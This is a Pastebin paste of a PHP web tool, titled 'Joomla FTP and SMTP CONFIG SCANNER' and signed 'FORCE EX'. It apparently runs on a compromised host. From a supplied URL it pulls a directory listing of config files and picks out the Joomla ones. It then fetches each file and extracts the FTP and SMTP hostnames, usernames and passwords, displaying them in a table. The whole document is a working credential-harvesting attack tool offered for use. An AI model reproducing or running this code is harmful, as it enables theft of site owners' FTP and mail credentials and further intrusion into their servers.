Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- echo'<html>';
- echo'<title>Joomla FTP Scanner</title>';
- echo"<body bgcolor='black'>";
- echo'<center>';
- echo"<font color='green' face='courier new'>";
- echo'<h1><b>[JOOMLA FTP and SMTP CONFIG SCANNER]</b></h1>';
- echo'<FORM action="" method="post">';
- echo'<input type="hidden" name="form_action" value="1">';
- echo'<table border=1>';
- echo'<tr><td><font color="green" face="courier new">URL OF THE CONFIG FILES DIRECTORY</font></td><td><input type="text" size="60" style="background-color: black; color: red; font-size: 15px; font-family: courier new;" name="url" value="http://site.com/"></td></tr>';
- echo'</table>';
- echo"<br>";
- echo'<INPUT class=submit type="submit" value="[SUBMIT]" style="background-color: black; color: blue; font-size: 20px; font-family: courier new; name="Submit">';
- echo'</FORM>';
- echo'</font>';
- echo'</center>';
- echo'</body>';
- echo'</html>';
- if (array_key_exists('form_action', $_POST)){
- echo('<center>');
- echo "<font color='white' face='courier new'>";
- echo "[+] Getting Config URL From ".$_POST['url'];
- $url1=file_get_contents($_POST['url']);
- $ar = explode('<li><a href="', $url1);
- for($vi=2;$vi < count($ar);$vi++)
- {
- $var1 = strtok($ar[$vi], " ");
- $var1 = substr($var1,0,-2);
- $link = $url1.$var1;
- $filename = 'jftp.txt';
- $fp = fopen($filename, "a+");
- $write = fputs($fp, $var1."\n");
- fclose($fp);
- }
- echo "<br>";
- echo "[+] Collected All Config Names";
- echo "<br>";
- echo "[+]Seperating Joomla Configs";
- echo "<br>";
- $joomconfigs=file('jftp.txt');
- ini_set("display_errors", "0");
- set_time_limit(0);
- foreach ($joomconfigs as $joomconfig) {
- $pos = strpos($joomconfig,"oomla");
- if($pos === false) {
- $filename = 'others.txt';
- $fp = fopen($filename, "a+");
- $write = fputs($fp, $joomconfig."\n");
- fclose($fp);
- }
- else {
- $filename = 'joomla.txt';
- $fp = fopen($filename, "a+");
- $write = fputs($fp, $joomconfig."\n");
- fclose($fp);
- }
- }
- unlink ('jftp.txt');
- unlink ('others.txt');
- echo "[+] Joomla Configs Seperated";
- echo "<br>";
- echo "[+] Scanning JOOMLA FTP Credentials";
- echo "<br>";
- echo ("<center><table border=1 cellspacing=1 cellpading=1>
- <tr><th width='400'><font color='red' face='courier new'>SMTP DETAILS</font></th><th width=200><font color='red' face='courier new'>FTP HOST</font></th> <th width=150><font color='red' face='courier new'>FTP USERNAME</font></td><th width=150><font color='red' face='courier new'>FTP PASSWORD</font></td><th width=100><font color='red' face='courier new'>ENABLED</font></td></tr>");
- $getconfig=file('joomla.txt');
- foreach ($getconfig as $gconfig) {
- $strlengconfig=strlen($gconfig);
- if ($strlengconfig > 2) {
- $urltoconfig=$_POST['url']."/".$gconfig;
- $getconfig=file_get_contents($urltoconfig);
- $ftphost=entre2v2($getconfig,"ftp_host = '","';");
- $ftpuser=entre2v2($getconfig,"ftp_user = '","';");
- $ftppass=entre2v2($getconfig,"ftp_pass = '","';");
- $ftpenable=entre2v2($getconfig,"ftp_enable = '","';");
- $smtpuser=entre2v2($getconfig,"smtpuser = '","';");
- $smtppass=entre2v2($getconfig,"smtppass = '","';");
- $smtphost=entre2v2($getconfig,"smtphost = '","';");
- $smtpport=entre2v2($getconfig,"smtpport = '","';");
- if ($ftpenable==1){
- $ftpenabled="YES";
- echo "<center><table border=1 cellspacing=1 cellpading=1>
- <tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br> </font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='green' face='courier new'> $ftpenabled </font></td></tr></table></center>";
- }
- else {
- $ftpenabled="NO";
- echo "<center><table border=1 cellspacing=1 cellpading=1>
- <tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br></font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='red' face='courier new'> $ftpenabled </font></td></tr></table></center>";
- }
- }
- }
- echo"</font>";
- echo('</center>');
- unlink ('joomla.txt');
- }
- echo'<center>';
- echo"<font face='courier new' color='red'>";
- echo'<h2>[coded by FORCE EX]</h2>';
- echo'<h4>[forc3_x@yahoo.com]</h4>';
- echo'</font>';
- echo'</center>';
- function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
- $ar0=explode($marqueurDebutLien, $text);
- $ar1=explode($marqueurFinLien, $ar0[$i]);
- return trim($ar1[0]);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement